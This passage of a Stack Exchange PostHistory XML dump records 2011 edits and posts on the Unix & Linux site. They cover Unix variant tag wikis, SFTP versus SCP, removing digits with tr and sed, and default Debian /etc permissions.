Open Group Base Specifications Issue 6](http://pubs.opengroup.org/onlinepubs/009695399/), which is also the Single UNIX Specification version 3 and POSIX:2001&#xD;&#xA;* [The Open Group Base Specifications Issue 7](http://pubs.opengroup.org/onlinepubs/9699919799/), which is also the Single UNIX Specification version 4 and POSIX:2008&#xD;&#xA;&#xD;&#xA;System administration is not so standardized and varies greatly from one variant to the next. (See the [Rosetta Stone for Unix](http://bhami.com/rosetta.html) for an overview.)&#xD;&#xA;&#xD;&#xA;### Unix variants&#xD;&#xA;&#xD;&#xA;Derived from the original Unix code:&#xD;&#xA;&#xD;&#xA;* [tag:aix] AIX (IBM)&#xD;&#xA;* [tag:solaris], [tag:opensolaris] Solaris (historically Sun, now Oracle)&#xD;&#xA;* [tag:sco] SCO OpenServer&#xD;&#xA;* [tag:hp-ux] HP/UX (Hewlett-Packard)&#xD;&#xA;&#xD;&#xA;Derived from BSD:&#xD;&#xA;&#xD;&#xA;* [tag:darwin] Darwin, the core of [Mac OS X](http://unix.stackexchange.com/tags/osx/info)&#xD;&#xA;* [tag:freebsd] FreeBSD&#xD;&#xA;* [tag:netbsd] NetBSD&#xD;&#xA;* [tag:openbsd] OpenBSD&#xD;&#xA;&#xD;&#xA;Others:&#xD;&#xA;&#xD;&#xA;* [tag:linux] Linux, with many [distributions](http://unix.stackexchange.com/tags/distros/info)&#xD;&#xA;* [tag:minix] Minix&#xD;&#xA;&#xD;&#xA;POSIX emulation layers on non-unix operating systems:&#xD;&#xA;&#xD;&#xA;* [tag:windows]&#xD;&#xA;    * [tag:cygwin]&#xD;&#xA;&#xD;&#xA;(And [many more](http://www.levenez.com/unix/) that have not (yet) been discussed on this site.)&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Evolution of Operating systems from Unix](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix)&#xD;&#xA;* [Why is there a * When There is Mention of Unix Throughout the Internet?](http://unix.stackexchange.com/questions/2342/why-is-there-a-when-there-is-mention-of-unix-throughout-the-internet)&#xD;&#xA;* [Is Linux a Unix?](http://unix.stackexchange.com/questions/4091/is-linux-a-unix)&#xD;&#xA;* [Is Mac OS X, UNIX?](http://unix.stackexchange.com/questions/1489/is-mac-os-x-unix)&#xD;&#xA;" />
  <row Id="20571" PostHistoryTypeId="5" PostId="1903" RevisionGUID="0767ccf4-1972-48a5-92c9-04753bc9e06b" CreationDate="2011-03-06T22:24:23.413" UserId="885" Comment="reinforce recommendation not to use the unix tag" Text="Unix is the topic of this site. Do not use this tag except for questions about the historical UNIX product." />
  <row Id="20572" PostHistoryTypeId="4" PostId="5349" RevisionGUID="cb40cd6e-3258-493b-ae76-309f8b709e8b" CreationDate="2011-03-06T22:25:03.243" UserId="885" Comment="title; tags" Text="Count the number of words of particular length from a file" />
  <row Id="20573" PostHistoryTypeId="6" PostId="5349" RevisionGUID="cb40cd6e-3258-493b-ae76-309f8b709e8b" CreationDate="2011-03-06T22:25:03.243" UserId="885" Comment="title; tags" Text="éshellàétextöprocessingà" />
  <row Id="20574" PostHistoryTypeId="6" PostId="4377" RevisionGUID="f504572e-f0d8-4991-8115-4701805dd657" CreationDate="2011-03-06T22:25:18.530" UserId="885" Comment="edited tags" Text="éprocessàécàéforkàéapià" />
  <row Id="20575" PostHistoryTypeId="6" PostId="4509" RevisionGUID="aebd5b42-5047-4584-a4d7-fb5dc764f3ff" CreationDate="2011-03-06T22:25:37.563" UserId="885" Comment="edited tags" Text="écompilingàédynamicölinkingàéhpöuxàécççà" />
  <row Id="20576" PostHistoryTypeId="6" PostId="5837" RevisionGUID="94d55ad1-9888-46f1-9d48-591caafb7f4c" CreationDate="2011-03-06T22:25:47.703" UserId="885" Comment="edited tags" Text="éunixàéhistoryàéterminologyà" />
  <row Id="20577" PostHistoryTypeId="6" PostId="5907" RevisionGUID="20781925-68c5-4518-9e1b-2bf22a2630df" CreationDate="2011-03-06T22:26:07.093" UserId="885" Comment="edited tags" Text="épermissionsàéaclàéhpöuxà" />
  <row Id="20578" PostHistoryTypeId="6" PostId="4455" RevisionGUID="bedfb6d3-61ec-4297-bf16-6fdc5dff9455" CreationDate="2011-03-06T22:26:46.733" UserId="885" Comment="edited tags" Text="ésolarisàénohupà" />
  <row Id="20579" PostHistoryTypeId="6" PostId="6628" RevisionGUID="15195ec2-2d89-4147-a79f-5daf42ac596f" CreationDate="2011-03-06T22:28:29.150" UserId="885" Comment="edited tags" Text="éshellàéconfigurationàépromptàéaliasà" />
  <row Id="20580" PostHistoryTypeId="6" PostId="7159" RevisionGUID="d0d67a75-774c-46ee-8e12-bbff8cf9630d" CreationDate="2011-03-06T22:30:20.537" UserId="885" Comment="edited tags" Text="éeditorsàéjoeà" />
  <row Id="20581" PostHistoryTypeId="6" PostId="7938" RevisionGUID="cf89fc39-5134-405f-bc8b-6133303b2eeb" CreationDate="2011-03-06T22:32:30.783" UserId="885" Comment="edited tags" Text="éshellàéubuntuàésecurityàéfreebsdàéusersà" />
  <row Id="20582" PostHistoryTypeId="6" PostId="7351" RevisionGUID="3a17fc25-6c06-4321-9c1b-4416d7076895" CreationDate="2011-03-06T22:32:48.037" UserId="885" Comment="edited tags" Text="éfilenamesà" />
  <row Id="20583" PostHistoryTypeId="6" PostId="8297" RevisionGUID="0d896c62-10d8-49b3-943f-b29b4eeddad5" CreationDate="2011-03-06T22:32:56.757" UserId="885" Comment="edited tags" Text="éplan9à" />
  <row Id="20584" PostHistoryTypeId="6" PostId="8612" RevisionGUID="1e997184-da20-479f-b15d-a582e96ad011" CreationDate="2011-03-06T22:33:47.287" UserId="885" Comment="edited tags" Text="éshellàésshàédirectoryà" />
  <row Id="20585" PostHistoryTypeId="6" PostId="8616" RevisionGUID="09dd03d5-2547-429b-956f-0e43b8767311" CreationDate="2011-03-06T22:34:22.340" UserId="885" Comment="edited tags" Text="ésshà" />
  <row Id="20586" PostHistoryTypeId="2" PostId="8705" RevisionGUID="5352894e-030c-41c8-9482-2d55f341497e" CreationDate="2011-03-06T22:47:29.547" UserId="885" Text="Many unix variants provide more fine-grained file permissions than the traditional, standard triple of permissions for the owning user, the owning group and others. These permissions are expressed through [access control lists](http://en.wikipedia.org/wiki/Access_control_list). The permissions that can be expressed through ACLs vary between unix variants.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:permissions]&#xD;&#xA;* [tag:security]&#xD;&#xA;" />
  <row Id="20587" PostHistoryTypeId="2" PostId="8706" RevisionGUID="2babd950-4506-4096-a382-8e58ccefbde7" CreationDate="2011-03-06T22:47:29.547" UserId="885" Text="ACL stands for access control list. ACLs extend permissions on files beyond the traditional user-group-others triple." />
  <row Id="20588" PostHistoryTypeId="5" PostId="8701" RevisionGUID="4bef6b35-5a9b-46a4-86fe-365f774447de" CreationDate="2011-03-06T22:56:07.140" UserId="3860" Comment="added 79 characters in body" Text="There is a very useful Nautilus extension called `nautilus-open-terminal` that does just what you asked. You should find it in the standard repositories.&#xD;&#xA;&#xD;&#xA;Once installed you should have a &quot;Open in terminal&quot; entry in the File menu." />
  <row Id="20589" PostHistoryTypeId="2" PostId="8707" RevisionGUID="5ef3a650-6c19-4fb7-84ee-783634dd4351" CreationDate="2011-03-06T23:13:26.987" UserId="2119" Text="I've used to think SCP is a tool to copy files over SSH and copying files over SSH is called SFTP which is itself a synonym to FISH.&#xD;&#xA;&#xD;&#xA;But now as I was looking for a Total Commander plugin to do this in Windows, I've noticed that on its page its said &quot;Alows to access remote servers via secure FTP (FTP via SSH). Requires SSH2. This is NOT the same as SCP!&quot;.&#xD;&#xA;&#xD;&#xA;So, if its not, then what am I missunderstanding?" />
  <row Id="20590" PostHistoryTypeId="1" PostId="8707" RevisionGUID="5ef3a650-6c19-4fb7-84ee-783634dd4351" CreationDate="2011-03-06T23:13:26.987" UserId="2119" Text="What's the difference between SFTP, SCP and FISH protocols?" />
  <row Id="20591" PostHistoryTypeId="3" PostId="8707" RevisionGUID="5ef3a650-6c19-4fb7-84ee-783634dd4351" CreationDate="2011-03-06T23:13:26.987" UserId="2119" Text="ésshàésftpàéscpà" />
  <row Id="20592" PostHistoryTypeId="25" PostId="8700" RevisionGUID="e6364ad9-7631-4399-a00b-ee0886e451cd" CreationDate="2011-03-06T23:23:39.673" Comment="http://twitter.com/#!/StackUnix/status/44538664054829056" />
  <row Id="20593" PostHistoryTypeId="17" PostId="8709" RevisionGUID="bf59ce27-368c-466b-ae2c-c5ee361d2eb3" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions/5203421#5203421" Text="" />
  <row Id="20594" PostHistoryTypeId="17" PostId="8710" RevisionGUID="9c54a0f5-494d-4b60-9251-a6fb3bdfa610" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions/5203425#5203425" Text="" />
  <row Id="20595" PostHistoryTypeId="17" PostId="8711" RevisionGUID="b8ba382a-97e6-47b0-adf5-89b703cefb27" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions/5203481#5203481" Text="" />
  <row Id="20596" PostHistoryTypeId="17" PostId="8712" RevisionGUID="01c31e68-c359-4feb-b35b-d58ab35a52a1" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions/5203506#5203506" Text="" />
  <row Id="20597" PostHistoryTypeId="17" PostId="8713" RevisionGUID="d9c46f41-d9a9-410f-880e-8125d382da1f" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions/5203520#5203520" Text="" />
  <row Id="20598" PostHistoryTypeId="2" PostId="8709" RevisionGUID="2b2dbccd-e435-4728-bcee-4b05b209c7e0" CreationDate="2011-03-05T11:11:31.043" UserDisplayName="Erik" Text="The default permissions are fine, and needed. If you e.g. didn't leave passwd world readable, a lot of user-related functionality would stop working. File such as /etc/shadow shouldn't be (and aren't) world readable.&#xD;&#xA;&#xD;&#xA;Trust the OS to get this right, unless you know *very well* that the OS is wrong." />
  <row Id="20599" PostHistoryTypeId="2" PostId="8710" RevisionGUID="e14fbebc-28ad-490b-a18d-cf1ef28f51a6" CreationDate="2011-03-05T11:12:23.047" UserDisplayName="DarkDust" Text="The `passwd` needs to be world readable so that a few tools can work correctly. Despite its name, the passwords are not stored there, they are stored in the `/etc/shadow` file which should have the permissions `-rw-------`. The `passwd-` file is likely a backup. All other &quot;files&quot; are directories and contain configuration files." />
  <row Id="20600" PostHistoryTypeId="2" PostId="8711" RevisionGUID="d93d2e6c-1498-4074-a63e-a298bf4edc17" CreationDate="2011-03-05T11:20:51.027" UserDisplayName="Krtek" Text="Nearly all the configuration file needs to be world readable, how do you expect your applications to read them otherwise ?&#xD;&#xA;&#xD;&#xA;If you're really that paranoid, you can however create a groups for each application, put the needed users in them and change group owner and permission for the related configurations file. But I think this would cause a lot more harm than good.&#xD;&#xA;&#xD;&#xA;The only important file I can think of which don't have world readable permission is /etc/shadow like stated in other comments.&#xD;&#xA;&#xD;&#xA;If you want a secure Debian box, I suggest the [securing Debian Howto][1] it's a little bit old, but it gives a good overview.&#xD;&#xA;&#xD;&#xA;There is also the [harden package][2] which create some interesting dependencies and forbid installation of known vulnerable packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/manuals/securing-debian-howto/&#xD;&#xA;  [2]: http://packages.debian.org/squeeze/harden" />
  <row Id="20601" PostHistoryTypeId="2" PostId="8713" RevisionGUID="c15b1d9b-5ed3-44c5-a81d-50b68825db02" CreationDate="2011-03-05T11:27:35.460" UserId="2780" Text="Everything seams fine **except** the `phpmyadmin` directory. Be really careful to protect files so the mysql password do not leak." />
  <row Id="20602" PostHistoryTypeId="2" PostId="8712" RevisionGUID="7ac8ab05-3128-4da4-9260-f5866d5f192a" CreationDate="2011-03-05T11:25:27.643" UserDisplayName="Piskvor" Text="Let's take a step back: If those users only need access to their home directories, most FTP servers have some config setting that *only* allows access to that directory, and nowhere else (most commonly by using chroot).&#xD;&#xA;&#xD;&#xA;For example, in ProFTPd, it's the DefaultRoot directive:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost myhost.example.com&gt;&#xD;&#xA;      DefaultRoot ~&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;http://www.proftpd.org/docs/faq/linked/faq-ch5.html#AEN524" />
  <row Id="20603" PostHistoryTypeId="2" PostId="8708" RevisionGUID="4f7569a1-3791-48c6-b364-4eeedfe23025" CreationDate="2011-03-05T11:08:02.030" UserDisplayName="Danny Hiemstra" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm setting up a debian box with shared webhhosts.&#xD;&#xA;These users don't have ssh permissions just ftp.&#xD;&#xA;The users are allowed to use PHP and i setup suphp for that so the php processes runs under their own user account etc.&#xD;&#xA;&#xD;&#xA;Now im a littlebit worried about security of the system files escpecially the `/etc` folder.&#xD;&#xA;I notice that most files in this directory have permissions like:&#xD;&#xA;&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Mar  4 20:00 pam.d&#xD;&#xA;        -rw-r--r--  1 root root    1358 Mar  5 00:48 passwd&#xD;&#xA;        -rw-------  1 root root    1358 Mar  5 00:48 passwd-&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Feb 18 14:22 pear&#xD;&#xA;        drwxr-xr-x  4 root root    4096 Apr 29  2010 perl&#xD;&#xA;        drwxr-xr-x  6 root root    4096 Feb 18 14:22 php5&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Mar  4 17:42 phpmyadmin&#xD;&#xA;&#xD;&#xA;Is there anybody who can tell me if those read world permissions which debian standard gives the files in /etc is really needed?&#xD;&#xA;And whats the best mask i can give those files?&#xD;&#xA;Are there any files in `/etc` that should be world readable?&#xD;&#xA;&#xD;&#xA;Thanks for the help.&#xD;&#xA;" />
  <row Id="20604" PostHistoryTypeId="1" PostId="8708" RevisionGUID="4f7569a1-3791-48c6-b364-4eeedfe23025" CreationDate="2011-03-05T11:08:02.030" UserDisplayName="Danny Hiemstra" Text="debian security /etc permissions" />
  <row Id="20605" PostHistoryTypeId="3" PostId="8708" RevisionGUID="4f7569a1-3791-48c6-b364-4eeedfe23025" CreationDate="2011-03-05T11:08:02.030" UserDisplayName="Danny Hiemstra" Text="élinuxàépermissionsàédebianà" />
  <row Id="20606" PostHistoryTypeId="17" PostId="8708" RevisionGUID="61b67024-16ee-451f-8ed2-7dc806cc7fbd" CreationDate="2011-03-06T23:27:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/5203409/debian-security-etc-permissions" Text="" />
  <row Id="20607" PostHistoryTypeId="2" PostId="8714" RevisionGUID="852cdf9e-5003-4b98-b271-886d4853848d" CreationDate="2011-03-06T23:29:58.717" UserId="4667" Text="Also, &#xD;&#xA;&#xD;&#xA;    awk -v n=6 '{for (i=1; i&lt;=NF; i++) if (length($i) == n) print $i}' file&#xD;&#xA;&#xD;&#xA;or, with `tr`&#xD;&#xA;&#xD;&#xA;    tr ' ' '\n' file | awk -v n=6 'length($0)==n'" />
  <row Id="20608" PostHistoryTypeId="2" PostId="8715" RevisionGUID="6f604bb5-be30-498f-9259-fc7e24a4674d" CreationDate="2011-03-06T23:41:32.383" UserId="3976" Text="[SFTP][1] isn't the FTP protocol over ssh, but an extension to the SSH protocol included in SSH2 (and some SSH1 implementations).  SFTP is a file transfer protocol similar to FTP but uses the SSH protocol as the network protocol (and benefits from leaving SSH to handle the authentication and encryption).&#xD;&#xA;&#xD;&#xA;SCP is only for transferring files, and can't do other things like list remote directories or removing files, which SFTP does do.&#xD;&#xA;&#xD;&#xA;FISH appears to be [yet another protocol][2] that can use either SSH or RSH to transfer files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol&#xD;&#xA;  [2]: http://cvs.savannah.gnu.org/viewvc/mc/mc/vfs/README.fish?view=markup" />
  <row Id="20609" PostHistoryTypeId="2" PostId="8716" RevisionGUID="cfda07eb-04bd-4d2a-84ca-a9f177ef777a" CreationDate="2011-03-07T00:17:12.073" UserId="2511" Text="It uses WordStar key bindings by default. This was a common word processor in the early 80s, and I even used it in the early 90s. When I first got into Linux, I looked around for an editor that made sense to me, and hey, there it was.&#xD;&#xA;&#xD;&#xA;I imagine that some other now-skilled Unix/Linux users followed the same path. So, one of the reasons is simply &quot;timing&quot;.&#xD;&#xA;&#xD;&#xA;Modern versions have syntax highlighting and other fancy features, so I haven't bothered to switch away.&#xD;&#xA;&#xD;&#xA;(I know how to use `vim` for editing config files, though. That's kind of a mandatory skill.)" />
  <row Id="20610" PostHistoryTypeId="4" PostId="8700" RevisionGUID="173a9dd4-7dab-4c22-b749-08f5065716a3" CreationDate="2011-03-07T00:37:57.383" UserId="2559" Comment="corrected typo in title" Text="How to start an xterm from Nautilus, already cwd'd to that folder?" />
  <row Id="20611" PostHistoryTypeId="24" PostId="8700" RevisionGUID="173a9dd4-7dab-4c22-b749-08f5065716a3" CreationDate="2011-03-07T00:37:57.383" Comment="Proposed by 2559 approved by -1 edit id of 183" />
  <row Id="20612" PostHistoryTypeId="4" PostId="8700" RevisionGUID="1f27dea4-0f87-4911-9705-c5b0283af539" CreationDate="2011-03-07T00:37:57.773" UserId="885" Comment="edited title" Text="How to start an xterm from Nautilus, running in the folder I'm viewing?" />
  <row Id="20613" PostHistoryTypeId="2" PostId="8717" RevisionGUID="fc12fd3c-6e09-4ae1-89b8-909a366f8440" CreationDate="2011-03-07T00:41:17.210" UserId="1389" Text="So, I have this textfile, and it consists of mostly alphanumeric characters. It's a standard document. But since I copied it and pasted it from a PDF, there are page numbers in there. I don't much care for the occasional number that's not a page, so I figure I'll wipe them all out with `sed` or `tr`. Just marginally faster than find and replacing first zero, then one, then two, etc. in the GUI, after all.&#xD;&#xA;&#xD;&#xA;So how do I do that?" />
  <row Id="20614" PostHistoryTypeId="1" PostId="8717" RevisionGUID="fc12fd3c-6e09-4ae1-89b8-909a366f8440" CreationDate="2011-03-07T00:41:17.210" UserId="1389" Text="sed or tr one-liner to delete all alphanumeric digits" />
  <row Id="20615" PostHistoryTypeId="3" PostId="8717" RevisionGUID="fc12fd3c-6e09-4ae1-89b8-909a366f8440" CreationDate="2011-03-07T00:41:17.210" UserId="1389" Text="éregexà" />
  <row Id="20616" PostHistoryTypeId="2" PostId="8718" RevisionGUID="b929ae02-bde1-4874-bb11-383f2133878e" CreationDate="2011-03-07T00:44:27.717" UserId="3892" Text="I have an acer aspire 7551 laptop running windows 7 and I've successfully used wubi to also install ubuntu (the latest release version).&#xD;&#xA;&#xD;&#xA;Wireless works fine on windows 7, but neither wireless nor ethernet works on ubuntu. In particular, the wireless icon shows up at the top-right (but no available connections show up when I click the icon).&#xD;&#xA;&#xD;&#xA;When I connect my ethernet cable (which works fine when I plug it into my PC) to my laptop when it's running ubuntu and click the wireless icon, auto-etho shows up as an option but when I click it, it works for a few seconds and then disconnects. (Note - ethernet also doesn't work in windows 7 even though all the latest drivers are installed)&#xD;&#xA;&#xD;&#xA;How can I get wireless and ethernet to work under ubuntu?" />
  <row Id="20617" PostHistoryTypeId="1" PostId="8718" RevisionGUID="b929ae02-bde1-4874-bb11-383f2133878e" CreationDate="2011-03-07T00:44:27.717" UserId="3892" Text="How can I get wireless and ethernet to work with ubuntu on my acer aspire laptop?" />
  <row Id="20618" PostHistoryTypeId="3" PostId="8718" RevisionGUID="b929ae02-bde1-4874-bb11-383f2133878e" CreationDate="2011-03-07T00:44:27.717" UserId="3892" Text="éubuntuàéwirelessàéethernetà" />
  <row Id="20619" PostHistoryTypeId="18" PostId="3958" RevisionGUID="91124de2-0139-45ae-9b66-b7cf80ba64f8" CreationDate="2011-03-07T00:46:44.110" UserId="73" Comment="to http://unix.stackexchange.com/questions/8707/whats-the-difference-between-sftp-scp-and-fish-protocols" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20620" PostHistoryTypeId="18" PostId="3959" RevisionGUID="91124de2-0139-45ae-9b66-b7cf80ba64f8" CreationDate="2011-03-07T00:46:44.110" UserId="73" Comment="from http://unix.stackexchange.com/questions/3958/whats-difference-between-fish-and-sftp" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20621" PostHistoryTypeId="18" PostId="8707" RevisionGUID="91124de2-0139-45ae-9b66-b7cf80ba64f8" CreationDate="2011-03-07T00:46:44.110" UserId="73" Comment="from http://unix.stackexchange.com/questions/3958/whats-difference-between-fish-and-sftp" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20622" PostHistoryTypeId="14" PostId="3958" RevisionGUID="98fd4030-581a-47ce-b2d7-163b0dbb7c16" CreationDate="2011-03-07T00:46:44.360" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20623" PostHistoryTypeId="5" PostId="3958" RevisionGUID="5bad4110-828c-48e0-945f-d218ea0859ea" CreationDate="2011-03-07T00:47:08.930" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What&amp;#39;s the difference between SFTP, SCP and FISH protocols?](http://unix.stackexchange.com/questions/8707/whats-the-difference-between-sftp-scp-and-fish-protocols)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I use SSH for remote file systems access. And I use Krusader file manager. Krusader offers a choice of FTP, SMB, FISH and SFTP connection protocols, and both FISH and SFTP work with an SSH server. What's the difference among FISH and SFTP?&#xD;&#xA;&#xD;&#xA;PS: I don't specify Krusader in the question title because Midnight Commander, for example, supports FISH as well, so that FISH can be something not limited to Krusader." />
  <row Id="20624" PostHistoryTypeId="10" PostId="3958" RevisionGUID="90a80a03-b731-472d-b65a-14c6902295a4" CreationDate="2011-03-07T00:47:08.790" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20625" PostHistoryTypeId="4" PostId="8718" RevisionGUID="7210b6fb-f183-43c2-ad10-2f1ebfd9c365" CreationDate="2011-03-07T00:50:49.707" UserId="3892" Comment="edited title" Text="How can I get wireless and ethernet to work with ubuntu?" />
  <row Id="20626" PostHistoryTypeId="2" PostId="8719" RevisionGUID="9c9047a9-8f5e-4cf2-ad73-cd3987b7708e" CreationDate="2011-03-07T01:00:54.923" UserId="3519" Text="I believe what you are looking for is:&#xD;&#xA;&#xD;&#xA;    tr -d [0-9]" />
  <row Id="20627" PostHistoryTypeId="17" PostId="8721" RevisionGUID="8bfaa4d3-66e8-4bfc-a2e8-9f4ff56708d7" CreationDate="2011-03-07T01:01:06.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5204071/printing-conjunct-unicode-characters-using-single-keystroke/5205391#5205391" Text="" />
  <row Id="20628" PostHistoryTypeId="2" PostId="8721" RevisionGUID="b0c93ebb-efe3-4cd1-859b-11267c524964" CreationDate="2011-03-05T17:17:35.340" UserDisplayName="Renaud" Text="I'm not sure of what do you want to do, but, if it may help I use xim and a custom `$HOME/.XCompose` (on a per user configuration basis) to remap custom key (two chars sequence mapped to a unique key, composition rules for dead key)." />
  <row Id="20629" PostHistoryTypeId="2" PostId="8720" RevisionGUID="8d233a87-92a6-458d-ab52-e6514ef7f708" CreationDate="2011-03-05T13:26:08.123" UserDisplayName="vtha" Text="I want to print a conjunct unicode characters (which do not have dedicated unicode value assigned to it, but which can be print using the combination of unicode characters) using a single key stroke by modifying the keyboard layout in Linux. I am modifying the /usr/share/X11/xkb/symbol/in file to modify the layout. Let me know if anything is possible. " />
  <row Id="20630" PostHistoryTypeId="1" PostId="8720" RevisionGUID="8d233a87-92a6-458d-ab52-e6514ef7f708" CreationDate="2011-03-05T13:26:08.123" UserDisplayName="vtha" Text="Printing conjunct unicode characters using single keystroke" />
  <row Id="20631" PostHistoryTypeId="3" PostId="8720" RevisionGUID="8d233a87-92a6-458d-ab52-e6514ef7f708" CreationDate="2011-03-05T13:26:08.123" UserDisplayName="vtha" Text="écàélinuxàéx11à" />
  <row Id="20632" PostHistoryTypeId="17" PostId="8720" RevisionGUID="e24bef50-f71a-4c43-b521-9079a12cb2bd" CreationDate="2011-03-07T01:01:06.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5204071/printing-conjunct-unicode-characters-using-single-keystroke" Text="" />
  <row Id="20633" PostHistoryTypeId="2" PostId="8722" RevisionGUID="13ee797f-51cd-4091-901c-b0367a63f871" CreationDate="2011-03-07T01:03:46.117" UserId="885" Text="To remove all digits, here are a few possibilities:&#xD;&#xA;&#xD;&#xA;    tr -d 0-9 &lt;old.txt &gt;new.txt&#xD;&#xA;    tr -d '[:digit:]' &lt;old.txt &gt;new.txt&#xD;&#xA;    sed -e 's/[0-9]//g' &lt;old.txt &gt;new.txt&#xD;&#xA;&#xD;&#xA;If you just want to get rid of the page numbers, there's probably a better regexp you can use, to recognize just those digits that are page numbers. For example, if the page numbers are always alone on a line except for whitespace, the following command will delete just the lines containing nothing but a number surrounded by whitespace:&#xD;&#xA;&#xD;&#xA;    sed -e '/^ *[0-9]\+ *$/d' &lt;old.txt &gt;new.txt&#xD;&#xA;&#xD;&#xA;You don't need to use the command line for this, though. Any halfway decent editor has regexp search and replacement capabilities.&#xD;&#xA;" />
  <row Id="20634" PostHistoryTypeId="6" PostId="8717" RevisionGUID="1068aab1-21f5-4ec8-b8fa-1881412f6d7a" CreationDate="2011-03-07T01:04:04.107" UserId="885" Comment="edited tags" Text="étextöprocessingàésedàéregexà" />
  <row Id="20635" PostHistoryTypeId="5" PostId="8719" RevisionGUID="376e7bf2-ba90-45cf-b841-51abb3e23fcb" CreationDate="2011-03-07T01:06:46.020" UserId="885" Comment="removed brackets from the tr call" Text="I believe what you are looking for is:&#xD;&#xA;&#xD;&#xA;    tr -d 0-9" />
  <row Id="20636" PostHistoryTypeId="5" PostId="8708" RevisionGUID="6edd70a3-9fcf-49f5-a0b2-868833798d12" CreationDate="2011-03-07T01:08:29.387" UserId="73" Comment="deleted 66 characters in body; edited tags" Text="I'm setting up a debian box with shared webhhosts.&#xD;&#xA;These users don't have ssh permissions, just ftp.&#xD;&#xA;The users are allowed to use PHP and I setup `suphp` for that so the php processes runs under their own user account, etc.&#xD;&#xA;&#xD;&#xA;I'm a little bit worried about the security of the system files, especially the `/etc` folder. I notice that most files in this directory have permissions like:&#xD;&#xA;&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Mar  4 20:00 pam.d&#xD;&#xA;        -rw-r--r--  1 root root    1358 Mar  5 00:48 passwd&#xD;&#xA;        -rw-------  1 root root    1358 Mar  5 00:48 passwd-&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Feb 18 14:22 pear&#xD;&#xA;        drwxr-xr-x  4 root root    4096 Apr 29  2010 perl&#xD;&#xA;        drwxr-xr-x  6 root root    4096 Feb 18 14:22 php5&#xD;&#xA;        drwxr-xr-x  2 root root    4096 Mar  4 17:42 phpmyadmin&#xD;&#xA;&#xD;&#xA;Are the read-world permissions which debian standard gives the files in `/etc` really needed? What's the best mask I can give those files? Are there any files in `/etc` that should be world readable?&#xD;&#xA;" />
  <row Id="20637" PostHistoryTypeId="6" PostId="8708" RevisionGUID="6edd70a3-9fcf-49f5-a0b2-868833798d12" CreationDate="2011-03-07T01:08:29.387" UserId="73" Comment="deleted 66 characters in body; edited tags" Text="élinuxàédebianàépermissionsà" />
  <row Id="20638" PostHistoryTypeId="2" PostId="8723" RevisionGUID="9fff3bce-83bf-484d-9ffc-e1a0fc235566" CreationDate="2011-03-07T01:13:57.260" UserId="2562" Text="So I managed to install Debian 5 on an eBox 3300MX (an embedded type computer). I added a custom kernel after getting a basic install done. That was to get the network card to work. After that, I finished with installing, since I was doing a net install, and it worked fine. However, since then, I am unable to get the Debian to use the network card again. The only thing I can think of is that the Kernel updated during the install. I tried booting into the previous working kernel, and that did not work either. I get the error &quot;No network devices found.&quot;&#xD;&#xA;&#xD;&#xA;However, I can open Network Tools and view devices, and I see the network card, with its MAC address and other info. I have it listed in etc/network/interfaces as auto. Thus, I don't understand why it does not want to work.  I'm not really sure what other info is relevant, so please comment and let me know." />
  <row Id="20639" PostHistoryTypeId="1" PostId="8723" RevisionGUID="9fff3bce-83bf-484d-9ffc-e1a0fc235566" CreationDate="2011-03-07T01:13:57.260" UserId="2562" Text="no network device found after Kernel update" />
  <row Id="20640" PostHistoryTypeId="3" PostId="8723" RevisionGUID="9fff3bce-83bf-484d-9ffc-e1a0fc235566" CreationDate="2011-03-07T01:13:57.260" UserId="2562" Text="édebianàékernelàénetworkingàéhardwareà" />
  <row Id="20641" PostHistoryTypeId="4" PostId="8717" RevisionGUID="41691c5a-62ec-446e-97c3-2b0f503b7edf" CreationDate="2011-03-07T01:32:15.957" UserId="916" Comment="Change alphanumeric to numeric, since that is what the question is actually about." Text="sed or tr one-liner to delete all numeric digits" />
  <row Id="20642" PostHistoryTypeId="24" PostId="8717" RevisionGUID="41691c5a-62ec-446e-97c3-2b0f503b7edf" CreationDate="2011-03-07T01:32:15.957" Comment="Proposed by 916 approved by 885 edit id of 184" />
